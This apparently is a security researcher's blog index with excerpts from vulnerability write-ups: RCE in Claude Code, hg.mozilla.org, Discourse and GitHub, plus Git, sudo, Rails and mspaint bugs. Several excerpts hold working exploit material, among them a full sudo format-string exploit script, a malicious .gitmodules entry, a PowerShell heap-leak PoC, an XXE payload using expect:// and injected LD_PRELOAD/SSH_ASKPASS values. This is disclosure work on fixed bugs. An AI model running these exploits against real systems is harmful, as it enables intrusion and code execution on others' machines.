0day.click

Claude Code RCE: Exploiting Deeplink Handlers via Settings Injection

Tue, 12 May 2026 00:00:00 +0000

Of course I took a peek at the Claude Code source 🙈.

What I found was a very entertaining vulnerability which is now fixed since Claude Code version 2.1.118.

Just wading through the massive codebase manually wasn’t really a feasible approach. So took an army of AI Agents to…. no wait actually I did not do that, the following was all manual work. :P

I started by looking at different configuration options and tried to see what’s actually “useful” from an attacker’s perspective. On the way, in main.tsx I came across eagerLoadSettings, it eagerly loads settings, obviously:

RCE via LDAP truncation on hg.mozilla.org

Sat, 03 Jun 2023 00:00:00 +0000

Given my interest in SCM and CI systems I was a little keen to see how this is done at Mozilla as part of their bug bounty program. Thanks to freddy I was granted Level 1 access to Mozilla’s SCM at hg.mozilla.org in late 2022. As Mozilla is a pretty transparent company I found the version-control-tools repository which contains the code and configuration behind hg.mozilla.org.

I spent a couple of hours to a very few days looking at this code, setting up a simplified test system, and popping shells on the infrastructure around Christmas 2022. In this post I’ll outline one of two authenticated RCE flaws I identified and reported to Mozilla on the 26th of December in 2022.

Discourse SNS webhook RCE

Sat, 23 Oct 2021 00:00:00 +0000

I was staring at this part of the code for way too long already:

module Jobs

 class ConfirmSnsSubscription < ::Jobs::Base
 sidekiq_options retry: false

 def execute(args)
 return unless raw = args[:raw].presence
 return unless json = args[:json].presence
 return unless subscribe_url = json["SubscribeURL"].presence

 require "aws-sdk-sns"
 return unless Aws::SNS::MessageVerifier.new.authentic?(raw)

 # confirm subscription by visiting the URL
 open(subscribe_url)
 end

 end

end

The above code is an excerpt from Discourse’s AWS notification webhook handler. This handler can be triggered without further authentication under https://somedicourseinstance/webhooks/aws. In the above code args[:raw] is the raw POST body and args[:json] is the POST body but parsed as JSON.

Discourse themes OS Command Injection

Sun, 18 Apr 2021 00:00:00 +0000

Discourse offers the possibility to install themes from remote Git repositories. Before this commit it was possible to inject OS commands via a maliciously crafted theme which is pulled via Git.

The root cause for the issue lay in the parsing of the .discourse-compatibility file which is a yaml file containing a mapping of the target discourse version and a git version to be checked out for that specific discourse version.

The version information is passed to

Mosaic "0day"

Fri, 04 Dec 2020 00:00:00 +0000

While attendig WarCon in 2016 greg and I sat together in .mario’s talk My Sweet Innocence Exposed - Eleven Reasons why we will all miss you, “e”, his rants about MSIE reminded us of the fact that we both had the task of finding a Mosaic 0day still on our agenda. So the evening after the talk we sat down together and started approaching that goal.

The latest version of Mosaic for Unix which can be found at ftp://ftp.ncsa.uiuc.edu/Mosaic/Unix/binaries/2.7b/ is 2.7b, released roughly 24 years ago. So we got the static binary for Linux and threw it in a somewhat recent 32bit Ubuntu VM.

CVE-2018-17456

Tue, 16 Oct 2018 00:00:00 +0000

I’ve gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.

TL;DR

Here is a PoC repository.

Exploitation

The .gitmodules file looks as follows:

[submodule "x:x"]
	path = x:x
	url = -u./payload

The actual command being injected is set by the url, -u./payload points the upload-pack flag of git clone to the payload shell script. Note also the : within the path, this part is needed to actually get the payload script executed.

Paintbleed

Tue, 14 Mar 2017 00:00:00 +0000

Summary

mspaint.exe does not properly verify Dib data from the clipboard. Therefore we can craft some Dib data in the clipboard which e.g. suggests a size of 0x100 by 0x100 pixels and contains not more than the Dib header itself. So the actual image data rendered by mspaint.exe is its own heap data =)

PoC

Run the following code in PowerShell:

$bytes = 40,0,0,0,0,1,0,0,0,1,0,0,1,0,24,0,0,0,0,0,136,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
[System.Windows.Forms.Clipboard]::SetData([System.Windows.Forms.DataFormats]::Dib,[System.IO.MemoryStream]::new($bytes))

Afterwards open mspaint.exe and paste. The result should be the graphical representation of some of mspaints.exe’s heap memory.

WebConsole IP Whitelist bypass

Tue, 16 Jun 2015 20:44:23 +0200

With the release of Ruby on Rails 4.2 the so called Web Console was introduced.

As the Web Console documentation states: Web Console is built explicitly for Rails 4.

By default the Web Console is available in the Rails Development Environment and allows only the IPs 127.0.0.1 and ::1 to access the console in order to evaluate arbitrary Ruby statements for the purpose of debugging.

However with Rails Versions 4.1 and 4.0 the Web Console built in IP whitelist is bypassable. This is due to the fact that Web Console parses the request.remote_ip to check if the IP is whitelisted with the Ruby class IPAddr. The Rails stack prior to 4.2 when calculating request.remote_ip uses these regular expressions to strip out trusted Proxies from the HTTP Headers X-Forwarded-For and Client-IP.

CVE-2012-0809 Exploit

Mon, 28 Apr 2014 18:28:10 +0200

Original gist

#!/bin/bash
# CVE-2012-0809 exploit
# joernchen of Phenoelit's version
# Payload to be executed goes to /tmp/a (might be a shell script)

cd /tmp
/bin/echo '-> Clearing ENV'
for i in `env |cut -f1 -d "="` ;do unset $i;done 
/bin/echo '-> Creating symlink'
/bin/ln -s /usr/bin/sudo ./%134520134x%900\$n
/bin/echo '-> Setting ENV'
export AAA=AAAA;
export A;
for i in `/usr/bin/seq 1 5000`; do
export A=$A`echo -n -e '\x24\x83\x05\x08'`;
done;

/bin/echo '-> Now a little Brute-Force'
while true ; do SUDO_ASKPASS=/tmp/a ./%134520134x%900\$n -D9 -A id 2>/dev/null ; if [[ "$?" == "1" ]]; then break ;fi ; done
/bin/echo '-> Cleaning up'
/bin/rm /tmp/%134520134x%900\$n

GitHub RCE Writeup

Sat, 22 Feb 2014 17:17:50 +0100

Original gist

GitHub RCE by Environment variable injection Bug Bounty writeup

Disclaimer: I'll keep this really short but I hope you'll get the key points.

GitHub blogged a while ago about some internal tool called gerve:
https://github.com/blog/530-how-we-made-github-fast

Upon git+sshing to github.com gerve basically looks up your permission
on the repo you want to interact with. Then it bounces you further in
another forced SSH session to the back end where the repo actually is.

At some point I figured that it is possible to inject some environment
variables into gerve/the forked SSH process by setting my username to
something like "joerchen\n\nLD_ASSUME_KERNEL=1\n\n".

LD_ASSUME_KERNEL=1 will prevent the actual command from being run, just
like this:

---
joernchen ~ $ LD_ASSUME_KERNEL=1 uname -a
uname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
---

For the details on this, check man 8 ld.so.

So far so good, how can we use this fact to make SSH execute arbitrary
commands?

The technique I came up with used both features of ld.so and SSH itself:

LD_PRELOAD=/path/to/libfakeroot.so
SSH_ASKPASS=/usr/bin/ex
DISPLAY=:1

How and why did this work?

1.) libfakeroot makes SSH think it's root (we can inject this via
 LD_PRELOAD because the ssh binary is not setuid)
2.) ssh tries to read /root/.ssh/known_hosts
3.) ssh fails reading 'cause it's actually running as the git user
4.) ssh connects to $backend and wants to ask the user if
 $backend_hostkey is OK.
5.) ssh has no terminal and DISPLAY is set
6.) ssh invokes the command specified in SSH_ASKPASS

From being dropped in /usr/bin/ex we could just say:
!/bin/sh
and be happy with having a shell as git@github.com

XXE to RCE

Tue, 04 Sep 2012 19:34:31 +0200

Original gist

This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
into a Remote Command Execution:

NOTE: It relies on the PHP expect module being loaded
(see http://de.php.net/manual/en/book.expect.php)

joern@vbox-1:/tmp$ cat /var/www/server.php
<?
 require_once("/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php");
 Zend_Loader_Autoloader::getInstance();
 $server = new Zend_XmlRpc_Server();
 echo $server->handle();

?>
joern@vbox-1:/tmp$ cat payload
<!DOCTYPE root [<!ENTITY foo SYSTEM "expect://id">]>
<methodCall>
 <methodName>&foo;</methodName>
</methodCall>
joern@vbox-1:/tmp$ curl http://localhost/server.php -d @payload
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
 <fault><value><struct><member><name>faultCode</name><value><int>620</int></value></member><member><name>faultString</name><value>
<string>Method &quot;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&quot; does not exist</string>
</value></member></struct></value></fault></methodResponse>joern@vbox-1:/tmp$

About

Mon, 01 Jan 0001 00:00:00 +0000

This site contains misc stuff I came across in the last decade or so.

References

Mon, 01 Jan 0001 00:00:00 +0000

Talks and Presentations

BSides Frankfurt 2026 - Keynote: Hacking AI Agents 📈 at scale and in style 💅 - Slides
Nullcon Berlin 2025 - Keynote LLMs Everywhere: The future is now and the past keeps repeating itself - Slides
OffensiveCon 2025 - Parser Differentials - Video & Slides
Invited Talk for Team Bi0s - Argument Injection - Video & Slides
HITB GSEC 2018 - Surprise Rant 2.0 Video
OffensiveCon 2018 - Surprise Rant Video
Ekoparty 2016 - Let Me GitHub That For You (2016 Argentinian Edition) Video
Hacktivity 2015 - Your Web app, those hackers & you Video
HackPra 2015 - Bug Tales Video
Hackito Ergo Sum 2014 - Ruby on Rails exploitation and effective backdooring
t2-2013 - <3 Ruby on Rails <3
HITB Amsterdam 2013 - Attacking Ruby on Rails Applications
ZeroNights 2012 - They told me I could be anything, so I became BAh7BkkiDHVzZXJfaWQGOgZFVGkG
HITB Malaysia 2011 - Building and Breaking Ruby on Rails
Hackito Ergo Sum 2011 - Ruby On Rails From A Code Auditor’s Perspective Video part 1 part 2 part 3
Berlinsides 2010 - Ruby On Rails From A Code Auditor’s Perspective

Blogposts

GitLab

GitLab Security Tech Notes

Recurity Labs

Phenoelit

Papers

Attacking Ruby on Rails Applications - Phrack 69
A Vulnerability in Reduced Dakarand from PoC||GTFO 01:02 - PoC||GTFO 02:09

Trainings

Source Code Auditing Like a Ninja - HITB GSEC Singapore 2018
Source Code Auditing Like a Ninja - HITB Amsterdam 2018
Ruby on Rails – Auditing & Exploiting the Popular Web Framework - OWASP AppSec EU 2015
Ruby on Rails – Auditing & Exploiting the Popular Web Framework - OWASP AppSec USA 2014
Recurity Labs Code Audit Training Archive

Other

Founding member of das Labor a Hackerspace in Bochum
Review panel member for THREAT CON 2018 - 2023